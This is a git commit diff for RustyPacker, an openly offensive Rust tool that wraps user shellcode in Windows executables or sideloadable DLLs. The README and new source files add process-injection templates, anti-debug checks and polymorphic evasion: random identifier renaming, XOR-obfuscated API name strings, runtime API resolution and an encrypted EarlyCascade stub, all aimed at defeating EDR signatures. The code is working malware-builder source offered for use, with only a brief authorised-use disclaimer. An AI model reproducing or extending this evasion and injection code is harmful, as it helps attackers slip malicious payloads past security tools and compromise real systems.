RustyPacker v0.1.1
Major bug fixes and improvements. Thanks to @0xROOTPLS and @Karkas66. Closes #1 , #2 .
This commit is contained in:
+1
-1
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "RustPacker"
|
||||
version = "0.1.0-beta"
|
||||
version = "0.1.1"
|
||||
edition = "2021"
|
||||
authors = ["smukx <staffs@5mukx.site>"]
|
||||
|
||||
|
||||
@@ -2,16 +2,17 @@
|
||||
<br>
|
||||
<img width="520px" src="assets/logo/logo.jpg" alt="RustyPacker Logo" />
|
||||
<h1>RustyPacker</h1>
|
||||
<p><b>A native Rust shellcode packer with a GUI. Pick an encryption, an injection technique, optional anti debug, and evasion checks. RustyPacker assembles a Rust project from templates, compiles it, and drops a finished EXE or Proxy & sideloadable dlls.</b></p>
|
||||
<p><b>A native Rust shellcode packer with a GUI. RustyPacker assembles a Rust project from templates, compiles it, and drops a finished EXE or Proxy & sideloadable DLLs.</b></p>
|
||||
<img src="https://img.shields.io/badge/Language-Rust-orange" alt="Language: Rust" />
|
||||
<img src="https://img.shields.io/badge/OS-Windows-blue" alt="OS: Windows" />
|
||||
<img src="https://img.shields.io/badge/Maintained-Yes-green" alt="Maintained: Yes" />
|
||||
<img src="https://img.shields.io/badge/Version-v0.1--beta-purple" alt="Version: v0.1-beta" />
|
||||
<img src="https://img.shields.io/badge/Version-v0.1.1-purple" alt="Version: v0.1.1" />
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
RustyPacker Comes in 2 flavours:
|
||||
RustyPacker comes in two themes:
|
||||
|
||||
|
||||
<div align="center">
|
||||
<img src="assets/img/main-1.png" width="49%" alt="RustyPacker main view" />
|
||||
@@ -20,7 +21,7 @@ RustyPacker Comes in 2 flavours:
|
||||
|
||||
<br>
|
||||
|
||||
> Note: RustyPacker is in beta. Found a bug? Fixed one? Ready to ship your own technique? Jump in and make RustyPacker sharper. For more info, check [Contribution](#contribution) section.
|
||||
> Note: Rustypacker is in early stage of development. If you are facing bugs, please create an issue, Rustypacker grows along with the community. If you want to help by adding your own techniques or to fix a bug, please refer [Contribution](#contribution) section.
|
||||
|
||||
## What it does
|
||||
|
||||
@@ -42,17 +43,33 @@ RustyPacker writes a fresh Rust project under `shared/output_<timestamp>/`, perf
|
||||
| Encryption | AES-256-CBC, XOR, UUID |
|
||||
| Injection (remote) | sysCRT, winCRT, EarlyCascade |
|
||||
| Injection (self) | sysFIBER, EnumCalendarInfoA, EnumDesktopsW, EnumWindowStationsW, EnumSystemGeoID, CDefFolderMenu_Create2, RtlUserFiberStart |
|
||||
| Anti-debug | CheckRemoteDebuggerPresent, NtQueryInformationProcess (ProcessDebugPort), TEB BeingDebugged, SetUnhandledExceptionFilter int3 trick |
|
||||
| Anti-debug | CheckRemoteDebuggerPresent, NtQueryInformationProcess (ProcessDebugPort), TEB BeingDebugged, Vectored INT3 |
|
||||
| Evasion | NtDelayExecution sleep, domain pinning |
|
||||
| Output | EXE, DLL, DLL Sideload (Sideload or Proxy with absolute or relative path) |
|
||||
|
||||
Other extras:
|
||||
|
||||
- Live FlowCase tab. Visualises the execution path of the payload you build next.
|
||||
- Live FlowCase tab. Shows the execution path of the payload you are configuring.
|
||||
- Inline DLL exports preview when picking a sideload target.
|
||||
- Streaming Console. Surfaces `cargo` output line-by-line.
|
||||
- Streaming Console. Streams `cargo` output line by line.
|
||||
- Cyberpunk default theme. Switch to Tactical via the `◆` button in the top-left.
|
||||
|
||||
---
|
||||
|
||||
## Polymorphism
|
||||
|
||||
Every build picks a fresh random seed from the OS and drives every variable surface in the payload from it. Two builds with the same shellcode and the same options still produce different payloads.
|
||||
|
||||
What varies each build:
|
||||
|
||||
- Anti debug API calls resolve at runtime via `GetModuleHandleA` and `GetProcAddress` with XOR'd name strings. `CheckRemoteDebuggerPresent`, `NtQueryInformationProcess`, `GetComputerNameExW`, `AddVectoredExceptionHandler`, and `RemoveVectoredExceptionHandler` do not appear in the payload IAT or `.rdata`.
|
||||
- The EarlyCascade stub is encrypted with XOR at packer time and decoded at runtime. The plaintext Outflank bytes (`55 56 57 65 48 8B 14 25 60 00 00 00 ...`) do not appear in the payload binary. The placeholder slot is filled with random bytes before encryption so the ciphertext carries no signature at a fixed offset either.
|
||||
- Function names like `boxboxbox`, `enhance`, `pause`, and every `evasion_anti_debug_*` are renamed each build. The pause cadence between injection steps is jittered around the base values. The shellcode XOR key and the obfuscated API name keys are random per build.
|
||||
|
||||
Honest note: `TEB BeingDebugged` still uses the canonical `gs:[0x60]` PEB walk. That byte sequence is the same in commodity malware and is heavily signatured by every modern EDR. Drop it on important engagements.
|
||||
|
||||
---
|
||||
|
||||
## Build and Run
|
||||
|
||||
Prerequisites:
|
||||
@@ -61,12 +78,14 @@ Prerequisites:
|
||||
- Windows host with MSVC, or any host with the MinGW-w64 toolchain plus `rustup target add x86_64-pc-windows-gnu`.
|
||||
|
||||
```pwsh
|
||||
git clone <this repo>
|
||||
git clone https://github.com/Whitecat18/RustyPacker.git
|
||||
cd RustPacker
|
||||
cargo run --release
|
||||
cargo r -r
|
||||
```
|
||||
|
||||
The GUI opens. Drop in your shellcode and you go.
|
||||
The GUI opens. Drop in your shellcode and go.
|
||||
|
||||
---
|
||||
|
||||
## Using the GUI
|
||||
|
||||
@@ -79,7 +98,7 @@ The window has three tabs.
|
||||
- DLL Sideload (when SIDELOAD is the format). Target DLL, hijack export, and mode (`SIDELOAD` for pure replacement, `PROXY` to forward unhandled exports to the original via a generated `.def`).
|
||||
- Encryption. Pick a method. Configure any parameters it exposes.
|
||||
- Injection. Toggle `SELF` or `REMOTE`, then pick a technique. The template dropdown filters to the matching mode. Per-technique params (e.g. target process name for remote) appear below.
|
||||
- Anti Debug. Empty by default. `+ ADD CHECK` opens a popup. Pick one to add it as a row. Each row has a `× Remove`.
|
||||
- Anti-debug. Empty by default. `+ ADD CHECK` opens a popup. Pick one to add it as a row. Each row has a `× Remove`.
|
||||
- Evasion. Same row builder pattern. Each evasion row exposes its own parameter form (delay ms, placement, expected domain, etc.).
|
||||
|
||||
Validation errors (missing shellcode, missing sideload target, etc.) appear as a banner at the bottom.
|
||||
@@ -92,6 +111,8 @@ A live, ordered preview of what the generated payload does. Steps run from `Load
|
||||
|
||||
The build log. Streams `cargo build` stdout and stderr line-by-line, classified by `[*]`, `[+]`, `[!]`, `[-]` prefixes.
|
||||
|
||||
---
|
||||
|
||||
## Output
|
||||
|
||||
A successful build writes:
|
||||
@@ -110,6 +131,8 @@ shared/output_<unix-timestamp>/
|
||||
|
||||
The full Rust project stays on disk for you to inspect, tweak, or rebuild manually.
|
||||
|
||||
---
|
||||
|
||||
## Running the payload
|
||||
|
||||
### EXE
|
||||
@@ -139,12 +162,16 @@ The hijacked export from the target DLL becomes the entrypoint. Drop your DLL ne
|
||||
|
||||
For the full sideloading workflow, picking a target, and proxy generation, see [LazyDLLSideload](https://github.com/Whitecat18/LazyDLLSideload).
|
||||
|
||||
---
|
||||
|
||||
## For developers
|
||||
|
||||
Adding your own encryption, injection, anti-debug, or evasion technique is a three-file change (`technique.toml` plus `mod.rs` plus an optional template folder). `build.rs` discovers techniques by walking `src/techniques/`, so there is no registration boilerplate to edit.
|
||||
|
||||
Full guide lives in [development.md](./development.md). It covers architecture, manifest format, `BuildContext` API, placeholder catalogue, three worked examples, GUI integration notes, and common pitfalls.
|
||||
|
||||
---
|
||||
|
||||
## Project layout
|
||||
|
||||
```
|
||||
@@ -179,7 +206,7 @@ RustyPacker grows with community help. The repo runs on two branches.
|
||||
- `main`: stable version. Reviewed `dev` work lands here. Maintainers add extra techniques and hardening during the merge.
|
||||
- `dev`: where new work lands first. All contributor PRs target this branch.
|
||||
|
||||
To Contribute:-
|
||||
To contribute:
|
||||
|
||||
1. Fork the repo and clone your fork.
|
||||
2. Switch to the `dev` branch on your fork. Branch off `dev`, not `main`.
|
||||
@@ -188,26 +215,21 @@ To Contribute:-
|
||||
5. Code, run `cargo run --release` to smoke-test, then open a pull request targeting `dev`.
|
||||
6. Wait for review. Maintainers might request changes before merging to `dev`. Your contribution rides into `main` later, with the next `dev` merge.
|
||||
|
||||
Recognition:-
|
||||
Recognition:
|
||||
|
||||
Every accepted contribution puts your handle in the Credits section and the release notes. Your name stays in the contributor list.
|
||||
|
||||
> Motivation: Bring your shellcode, your weird ideas to evade systems, and your patches. RustyPacker gets sharper with every PR you send.
|
||||
|
||||
## License
|
||||
|
||||
RustyPacker is licensed under either of
|
||||
|
||||
- Apache License, Version 2.0, ([LICENSE-APACHE](./LICENSE-APACHE) or
|
||||
<https://www.apache.org/licenses/LICENSE-2.0>)
|
||||
- MIT license ([LICENSE-MIT](./LICENSE-MIT>) or <https://opensource.org/licenses/MIT>)
|
||||
> Motivation: Bring your shellcode, your ideas for evading systems, and your patches.
|
||||
|
||||
## Credits
|
||||
|
||||
- [Rust-for-Malware-Development](https://github.com/Whitecat18/Rust-for-Malware-Development): For Injection Templates
|
||||
- [Dyncvoke](https://github.com/Whitecat18/Dyncvoke): For Dynamic & Syscalls
|
||||
- [LazyDLLSideload](https://github.com/Whitecat18/LazyDLLSideload): For Proxy & Sideloading
|
||||
- [Dyncvoke](https://github.com/Whitecat18/Dyncvoke)
|
||||
- [Rust-for-Malware-Development](https://github.com/Whitecat18/Rust-for-Malware-Development)
|
||||
- [LazyDLLSideload](https://github.com/Whitecat18/LazyDLLSideload)
|
||||
- [EarlyCascade](https://github.com/Whitecat18/earlycascade-injection.git)
|
||||
|
||||
> Note: Original credits have been mentioned in the main repository. I respect each and every one's hard work and their will to help the community.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
For authorised offensive security work, CTFs, malware research, and detection engineering only...
|
||||
For authorised offensive security work, CTFs, malware research, and detection engineering only.
|
||||
|
||||
+3
-3
@@ -68,8 +68,8 @@ Three layers:
|
||||
The middle layer is the interesting one. A "technique" is a plugin discovered
|
||||
at compile time. Each technique decides which template directory to copy and
|
||||
what string substitutions to make. The GUI just lists what's in the registry
|
||||
and lets the user pick + parameterise; the puzzle layer turns those picks
|
||||
into a Rust project on disk; the compiler runs `cargo` on it.
|
||||
and lets the user pick and parameterise. The puzzle layer turns those picks
|
||||
into a Rust project on disk. The compiler runs `cargo` on it.
|
||||
|
||||
**Most new work happens inside `src/techniques/<category>/<id>/`** with
|
||||
optional changes to a `templates/<TemplateDir>/`. You rarely touch the GUI
|
||||
@@ -628,7 +628,7 @@ When the user hits **BUILD** (top-right of the title bar, handled in
|
||||
folder. Stdout/stderr are streamed line-by-line into `build_log`, which
|
||||
is mirrored into the Console tab.
|
||||
|
||||
If `cargo` fails, the panic propagates and the GUI surfaces the error.
|
||||
If `cargo` fails, the panic propagates and the GUI shows the error.
|
||||
The generated folder is **always left in place** for debugging.
|
||||
|
||||
---
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
use std::fs;
|
||||
use std::path::Path;
|
||||
|
||||
use crate::polymorph::Polymorph;
|
||||
|
||||
pub fn rewrite_stubs(folder: &Path, polymorph: &mut Polymorph) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let stubs_path = folder.join("src").join("stubs.rs");
|
||||
let original = fs::read_to_string(&stubs_path)
|
||||
.map_err(|e| format!("read stubs.rs: {e}"))?;
|
||||
|
||||
let mut plaintext = parse_stub_bytes(&original)
|
||||
.ok_or_else(|| "stubs.rs: could not locate STUB byte array".to_string())?;
|
||||
|
||||
let placeholder_offset = find_placeholder(&plaintext)
|
||||
.ok_or_else(|| "stubs.rs: did not find 8-byte 0x11 placeholder".to_string())?;
|
||||
|
||||
// Random bytes here so the ciphertext does not carry 8 identical bytes
|
||||
// in a row at a fixed offset (a cheap YARA pattern by itself).
|
||||
for i in 0..8 {
|
||||
plaintext[placeholder_offset + i] = (polymorph.random_u64() & 0xFF) as u8;
|
||||
}
|
||||
|
||||
let key = polymorph.api_key();
|
||||
let encrypted: Vec<u8> = plaintext.iter().map(|b| b ^ key).collect();
|
||||
|
||||
let bytes_lit: Vec<String> = encrypted.iter().map(|b| format!("0x{:02x}", b)).collect();
|
||||
let content = format!(
|
||||
"pub const STUB: &[u8] = &[{}];\n\
|
||||
pub const STUB_PLACEHOLDER_OFFSET: usize = {};\n",
|
||||
bytes_lit.join(", "),
|
||||
placeholder_offset,
|
||||
);
|
||||
fs::write(&stubs_path, content)
|
||||
.map_err(|e| format!("write stubs.rs: {e}"))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_stub_bytes(src: &str) -> Option<Vec<u8>> {
|
||||
let marker = "pub const STUB: &[u8] = &[";
|
||||
let start = src.find(marker)? + marker.len();
|
||||
let rest = &src[start..];
|
||||
let end = rest.find("];")?;
|
||||
let body = &rest[..end];
|
||||
|
||||
let mut out = Vec::with_capacity(512);
|
||||
for token in body.split(',') {
|
||||
let t = token.trim();
|
||||
if t.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let hex = t.trim_start_matches("0x").trim_start_matches("0X");
|
||||
let b = u8::from_str_radix(hex, 16).ok()?;
|
||||
out.push(b);
|
||||
}
|
||||
Some(out)
|
||||
}
|
||||
|
||||
fn find_placeholder(bytes: &[u8]) -> Option<usize> {
|
||||
bytes.windows(8).position(|w| w == [0x11u8; 8])
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn parse_handles_multiline_hex_array() {
|
||||
let src = r#"
|
||||
pub const STUB: &[u8] = &[
|
||||
0x55, 0x56, 0x57,
|
||||
0x65, 0x48, 0x8B,
|
||||
];
|
||||
"#;
|
||||
assert_eq!(parse_stub_bytes(src), Some(vec![0x55, 0x56, 0x57, 0x65, 0x48, 0x8B]));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn placeholder_offset_finds_8_byte_run() {
|
||||
let mut bytes = vec![0u8; 32];
|
||||
for i in 12..20 { bytes[i] = 0x11; }
|
||||
assert_eq!(find_placeholder(&bytes), Some(12));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_placeholder_returns_none() {
|
||||
let bytes = vec![0x11u8; 7]; // 7, not 8
|
||||
assert_eq!(find_placeholder(&bytes), None);
|
||||
}
|
||||
}
|
||||
@@ -124,6 +124,7 @@ impl AppState {
|
||||
params: self.params.clone(),
|
||||
output: self.output_path.clone(),
|
||||
sideload,
|
||||
seed: crate::polymorph::BuildSeed::from_os(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
pub mod build_log;
|
||||
pub mod compiler;
|
||||
pub mod earlycascade_emit;
|
||||
pub mod gui;
|
||||
pub mod order;
|
||||
pub mod pe_parser;
|
||||
pub mod polymorph;
|
||||
pub mod puzzle;
|
||||
pub mod shellcode_reader;
|
||||
pub mod sideload;
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use crate::polymorph::BuildSeed;
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub enum OutputFormat { Exe, Dll, DllSideload }
|
||||
|
||||
@@ -37,4 +39,5 @@ pub struct Order {
|
||||
pub params: HashMap<String, String>, // key = "<technique_id>.<param_name>"
|
||||
pub output: Option<PathBuf>,
|
||||
pub sideload: Option<SideloadConfig>,
|
||||
pub seed: BuildSeed,
|
||||
}
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
use rand::rngs::SmallRng;
|
||||
use rand::{RngExt, SeedableRng};
|
||||
use std::collections::HashSet;
|
||||
|
||||
#[derive(Copy, Clone, Debug)]
|
||||
pub struct BuildSeed(pub u64);
|
||||
|
||||
impl BuildSeed {
|
||||
pub fn from_os() -> Self {
|
||||
BuildSeed(rand::random::<u64>())
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for BuildSeed {
|
||||
fn default() -> Self {
|
||||
Self::from_os()
|
||||
}
|
||||
}
|
||||
|
||||
pub struct Polymorph {
|
||||
rng: SmallRng,
|
||||
issued_idents: HashSet<String>,
|
||||
api_key: u8,
|
||||
}
|
||||
|
||||
const RESERVED: &[&str] = &[
|
||||
"fn", "let", "mut", "pub", "use", "mod", "as", "if", "in", "for", "while", "loop",
|
||||
"match", "ref", "self", "Self", "super", "type", "trait", "impl", "struct", "enum",
|
||||
"where", "true", "false", "static", "const", "extern", "unsafe", "move", "box", "do",
|
||||
"yield", "crate", "async", "await", "dyn", "return", "break", "continue", "else",
|
||||
"main", "new", "drop", "u8", "u16", "u32", "u64", "i8", "i16", "i32", "i64", "usize",
|
||||
"isize", "bool", "char", "str", "String",
|
||||
];
|
||||
|
||||
impl Polymorph {
|
||||
pub fn from_seed(seed: BuildSeed) -> Self {
|
||||
let mut rng = SmallRng::seed_from_u64(seed.0);
|
||||
let api_key = loop {
|
||||
let k: u8 = rng.random();
|
||||
if k != 0 {
|
||||
break k;
|
||||
}
|
||||
};
|
||||
Self {
|
||||
rng,
|
||||
issued_idents: HashSet::new(),
|
||||
api_key,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn api_key(&self) -> u8 {
|
||||
self.api_key
|
||||
}
|
||||
|
||||
pub fn random_ident(&mut self, _hint: &str) -> String {
|
||||
for _ in 0..32 {
|
||||
let len = self.rng.random_range(7..11);
|
||||
let mut s = String::with_capacity(len);
|
||||
s.push((b'a' + self.rng.random_range(0..26u8)) as char);
|
||||
for _ in 1..len {
|
||||
let pool = b"abcdefghijklmnopqrstuvwxyz0123456789_";
|
||||
let i = self.rng.random_range(0..pool.len());
|
||||
s.push(pool[i] as char);
|
||||
}
|
||||
if RESERVED.contains(&s.as_str()) {
|
||||
continue;
|
||||
}
|
||||
if self.issued_idents.insert(s.clone()) {
|
||||
return s;
|
||||
}
|
||||
}
|
||||
panic!("polymorph: failed to produce a unique identifier in 32 attempts");
|
||||
}
|
||||
|
||||
pub fn jitter(&mut self, base: u32, pct: u32) -> u32 {
|
||||
let delta = base * pct / 100;
|
||||
let lo = base.saturating_sub(delta);
|
||||
let hi = base + delta;
|
||||
let v = self.rng.random_range(lo..=hi);
|
||||
(v / 25) * 25
|
||||
}
|
||||
|
||||
pub fn xor_bytes_literal(&self, plain: &[u8], key: u8) -> String {
|
||||
let parts: Vec<String> = plain
|
||||
.iter()
|
||||
.map(|b| format!("0x{:02x}", b ^ key))
|
||||
.collect();
|
||||
format!("[{}]", parts.join(", "))
|
||||
}
|
||||
|
||||
pub fn pick<T: Copy>(&mut self, choices: &[T]) -> T {
|
||||
let i = self.rng.random_range(0..choices.len());
|
||||
choices[i]
|
||||
}
|
||||
|
||||
pub fn random_u64(&mut self) -> u64 {
|
||||
self.rng.random()
|
||||
}
|
||||
|
||||
pub fn random_odd_u64(&mut self) -> u64 {
|
||||
let v: u64 = self.rng.random();
|
||||
v | 1
|
||||
}
|
||||
}
|
||||
+116
-13
@@ -1,4 +1,5 @@
|
||||
use crate::order::{Order, OutputFormat};
|
||||
use crate::polymorph::Polymorph;
|
||||
use crate::sideload;
|
||||
use crate::techniques::{self, BuildContext, Category};
|
||||
use fs_extra::dir::{copy, CopyOptions};
|
||||
@@ -8,8 +9,6 @@ use std::io::prelude::*;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
|
||||
use crate::tools::random_u8;
|
||||
|
||||
const OUTPUT_DIR: &str = "shared";
|
||||
|
||||
fn obfuscate_api_name(name: &str, key: u8) -> String {
|
||||
@@ -17,10 +16,6 @@ fn obfuscate_api_name(name: &str, key: u8) -> String {
|
||||
format!("[{}]", bytes.join(", "))
|
||||
}
|
||||
|
||||
fn non_zero_random_key() -> u8 {
|
||||
loop { let k = random_u8(); if k != 0 { return k; } }
|
||||
}
|
||||
|
||||
fn search_and_replace(path: &Path, search: &str, replace: &str) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let file_content = fs::read_to_string(path)?;
|
||||
let new_content = file_content.replace(search, replace);
|
||||
@@ -30,8 +25,12 @@ fn search_and_replace(path: &Path, search: &str, replace: &str) -> Result<(), Bo
|
||||
}
|
||||
|
||||
fn create_root_folder(parent: &Path) -> Result<PathBuf, Box<dyn std::error::Error>> {
|
||||
let timestamp = SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs();
|
||||
let folder_name = format!("output_{}", timestamp);
|
||||
// ms timestamp + counter so parallel assemble() calls never collide.
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
static SEQ: AtomicU64 = AtomicU64::new(0);
|
||||
let ts_ms = SystemTime::now().duration_since(UNIX_EPOCH)?.as_millis();
|
||||
let seq = SEQ.fetch_add(1, Ordering::Relaxed);
|
||||
let folder_name = format!("output_{}_{:04x}", ts_ms, seq);
|
||||
crate::blog!("[+] Creating output folder: {}", &folder_name);
|
||||
let result_path = parent.join(folder_name);
|
||||
fs::create_dir_all(&result_path)?;
|
||||
@@ -44,7 +43,7 @@ fn copy_template(source: &Path, dest: &Path) -> Result<(), Box<dyn std::error::E
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn default_replacements(order: &Order) -> HashMap<&'static str, String> {
|
||||
fn default_replacements(order: &Order, polymorph: &mut Polymorph) -> HashMap<&'static str, String> {
|
||||
let mut r: HashMap<&'static str, String> = HashMap::new();
|
||||
r.insert("{{TARGET_PROCESS}}", "dllhost.exe".to_string()); // overwritten by injection.apply()
|
||||
r.insert("{{SANDBOX}}", String::new());
|
||||
@@ -59,7 +58,7 @@ fn default_replacements(order: &Order) -> HashMap<&'static str, String> {
|
||||
r.insert("{{NT_DELAY_STEP}}", String::new());
|
||||
r.insert("{{NT_DELAY_FINAL}}", String::new());
|
||||
|
||||
let api_key = non_zero_random_key();
|
||||
let api_key = polymorph.api_key();
|
||||
r.insert("{{API_KEY}}", format!("0x{:02x}", api_key));
|
||||
r.insert("{{OBF_NT_OPEN_PROCESS}}", obfuscate_api_name("NtOpenProcess", api_key));
|
||||
r.insert("{{OBF_NT_ALLOCATE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtAllocateVirtualMemory", api_key));
|
||||
@@ -70,7 +69,77 @@ fn default_replacements(order: &Order) -> HashMap<&'static str, String> {
|
||||
r.insert("{{OBF_NT_TEST_ALERT}}", obfuscate_api_name("NtTestAlert", api_key));
|
||||
r.insert("{{OBF_NT_DELAY_EXECUTION}}", obfuscate_api_name("NtDelayExecution", api_key));
|
||||
|
||||
let _ = order; // reserved for future per-order defaults
|
||||
let fn_find_pid = polymorph.random_ident("find_pid");
|
||||
let fn_inject = polymorph.random_ident("inject");
|
||||
let fn_pause = polymorph.random_ident("pause");
|
||||
let fn_cascade = polymorph.random_ident("cascade");
|
||||
let fn_enc_ptr = polymorph.random_ident("enc_ptr");
|
||||
let fn_ev_debugport = polymorph.random_ident("ev_dp");
|
||||
let fn_ev_chkremote = polymorph.random_ident("ev_cr");
|
||||
let fn_ev_teb = polymorph.random_ident("ev_teb");
|
||||
let fn_ev_vec_int3 = polymorph.random_ident("ev_v3");
|
||||
let fn_ev_domain = polymorph.random_ident("ev_dom");
|
||||
let fn_resolver = polymorph.random_ident("g");
|
||||
let fn_decoder = polymorph.random_ident("d");
|
||||
|
||||
r.insert("{{FN_FIND_PID}}", fn_find_pid);
|
||||
r.insert("{{FN_INJECT}}", fn_inject);
|
||||
r.insert("{{FN_PAUSE}}", fn_pause.clone());
|
||||
r.insert("{{FN_CASCADE}}", fn_cascade);
|
||||
r.insert("{{FN_ENC_PTR}}", fn_enc_ptr);
|
||||
r.insert("{{FN_EVASION_DEBUG_PORT}}", fn_ev_debugport);
|
||||
r.insert("{{FN_EVASION_CHECK_REMOTE}}", fn_ev_chkremote);
|
||||
r.insert("{{FN_EVASION_TEB}}", fn_ev_teb);
|
||||
r.insert("{{FN_EVASION_VEC_INT3}}", fn_ev_vec_int3);
|
||||
r.insert("{{FN_EVASION_DOMAIN}}", fn_ev_domain);
|
||||
r.insert("{{FN_RESOLVER}}", fn_resolver.clone());
|
||||
r.insert("{{FN_DECODER}}", fn_decoder.clone());
|
||||
|
||||
r.insert("{{JITTER_1}}", polymorph.jitter(150, 25).to_string());
|
||||
r.insert("{{JITTER_2}}", polymorph.jitter(200, 25).to_string());
|
||||
r.insert("{{JITTER_3}}", polymorph.jitter(150, 25).to_string());
|
||||
r.insert("{{JITTER_4}}", polymorph.jitter(100, 25).to_string());
|
||||
|
||||
let put_str = |r: &mut HashMap<&'static str, String>, key: &'static str, plain: &[u8]| {
|
||||
let parts: Vec<String> = plain.iter().map(|b| format!("0x{:02x}", b ^ api_key)).collect();
|
||||
r.insert(key, format!("[{}]", parts.join(", ")));
|
||||
};
|
||||
put_str(&mut r, "{{STR_NTDLL}}", b"ntdll.dll\0");
|
||||
put_str(&mut r, "{{STR_NTDLL_SHORT}}", b"ntdll\0");
|
||||
put_str(&mut r, "{{STR_KERNEL32}}", b"kernel32.dll\0");
|
||||
put_str(&mut r, "{{STR_NTQUERYINFO}}", b"NtQueryInformationProcess\0");
|
||||
put_str(&mut r, "{{STR_CHECK_REMOTE_DBG}}", b"CheckRemoteDebuggerPresent\0");
|
||||
put_str(&mut r, "{{STR_GET_COMPUTER_NAME_EX_W}}", b"GetComputerNameExW\0");
|
||||
put_str(&mut r, "{{STR_ADD_VEH}}", b"AddVectoredExceptionHandler\0");
|
||||
put_str(&mut r, "{{STR_REMOVE_VEH}}", b"RemoveVectoredExceptionHandler\0");
|
||||
|
||||
// Bake the chosen ident names into the blocks here. The substitution
|
||||
// pass would otherwise depend on HashMap iteration order to resolve
|
||||
// {{FN_DECODER}} / {{FN_RESOLVER}} that live inside these strings.
|
||||
r.insert("{{STR_DECODER}}", format!(
|
||||
r#"#[inline(always)]
|
||||
fn {decoder}(src: &[u8]) -> Vec<u8> {{
|
||||
src.iter().map(|b| b ^ 0x{key:02x}u8).collect()
|
||||
}}"#, decoder = fn_decoder, key = api_key));
|
||||
|
||||
r.insert("{{API_RESOLVER}}", format!(
|
||||
r#"#[inline(always)]
|
||||
unsafe fn {resolver}<F: Sized>(modname: &[u8], procname: &[u8]) -> Option<F> {{
|
||||
extern "system" {{
|
||||
fn GetModuleHandleA(name: *const i8) -> *mut core::ffi::c_void;
|
||||
fn GetProcAddress(h: *mut core::ffi::c_void, name: *const i8)
|
||||
-> *mut core::ffi::c_void;
|
||||
}}
|
||||
let dec_m = {decoder}(modname);
|
||||
let dec_p = {decoder}(procname);
|
||||
let h = GetModuleHandleA(dec_m.as_ptr() as *const i8);
|
||||
if h.is_null() {{ return None; }}
|
||||
let p = GetProcAddress(h, dec_p.as_ptr() as *const i8);
|
||||
if p.is_null() {{ return None; }}
|
||||
Some(core::mem::transmute_copy(&p))
|
||||
}}"#, resolver = fn_resolver, decoder = fn_decoder));
|
||||
|
||||
let _ = order;
|
||||
r
|
||||
}
|
||||
|
||||
@@ -126,28 +195,56 @@ fn apply_sideload_format(
|
||||
lib_rs_path
|
||||
}
|
||||
|
||||
fn apply_replacements(replacements: &HashMap<&'static str, String>, main_path: &Path, cargo_path: &Path) {
|
||||
fn apply_replacements_once(replacements: &HashMap<&'static str, String>, main_path: &Path, cargo_path: &Path) {
|
||||
for (key, value) in replacements {
|
||||
search_and_replace(main_path, key, value)
|
||||
.unwrap_or_else(|e| crate::blog!("[!] Warning: template replace failed for {}: {}", key, e));
|
||||
search_and_replace(cargo_path, key, value)
|
||||
.unwrap_or_else(|e| crate::blog!("[!] Warning: cargo replace failed for {}: {}", key, e));
|
||||
}
|
||||
|
||||
let Some(src_dir) = main_path.parent() else { return };
|
||||
let Ok(entries) = fs::read_dir(src_dir) else { return };
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
if path == main_path {
|
||||
continue;
|
||||
}
|
||||
if path.extension().and_then(|s| s.to_str()) != Some("rs") {
|
||||
continue;
|
||||
}
|
||||
for (key, value) in replacements {
|
||||
search_and_replace(&path, key, value)
|
||||
.unwrap_or_else(|e| crate::blog!("[!] Warning: template replace failed for {} in {}: {}", key, path.display(), e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn apply_replacements(replacements: &HashMap<&'static str, String>, main_path: &Path, cargo_path: &Path) {
|
||||
// Two passes. {{SANDBOX}} expands to a snippet that contains other
|
||||
// {{...}} placeholders, and HashMap iteration order is unspecified.
|
||||
apply_replacements_once(replacements, main_path, cargo_path);
|
||||
apply_replacements_once(replacements, main_path, cargo_path);
|
||||
}
|
||||
|
||||
pub fn assemble(order: Order) -> PathBuf {
|
||||
crate::blog!("[+] Assembling Rust code..");
|
||||
crate::blog!("[+] Build seed: 0x{:016x}", order.seed.0);
|
||||
|
||||
let folder = create_root_folder(Path::new(OUTPUT_DIR)).expect("Failed to create output folder");
|
||||
let src_dir = folder.join("src");
|
||||
|
||||
let mut polymorph = Polymorph::from_seed(order.seed);
|
||||
let replacements = default_replacements(&order, &mut polymorph);
|
||||
|
||||
let mut ctx = BuildContext {
|
||||
shellcode_path: &order.shellcode_path,
|
||||
output_folder: folder.clone(),
|
||||
src_dir: src_dir.clone(),
|
||||
replacements: default_replacements(&order),
|
||||
replacements,
|
||||
template_choice: None,
|
||||
params: &order.params,
|
||||
polymorph,
|
||||
};
|
||||
|
||||
// 1. Injection technique picks the template + sets target_process.
|
||||
@@ -159,6 +256,12 @@ pub fn assemble(order: Order) -> PathBuf {
|
||||
let template_path = PathBuf::from("templates").join(template_name).join(".");
|
||||
copy_template(&template_path, &folder).expect("Failed to copy template");
|
||||
|
||||
if template_name == "ntEarlyCascade" {
|
||||
if let Err(e) = crate::earlycascade_emit::rewrite_stubs(&folder, &mut ctx.polymorph) {
|
||||
crate::blog!("[!] EarlyCascade stub rewrite failed: {e}");
|
||||
}
|
||||
}
|
||||
|
||||
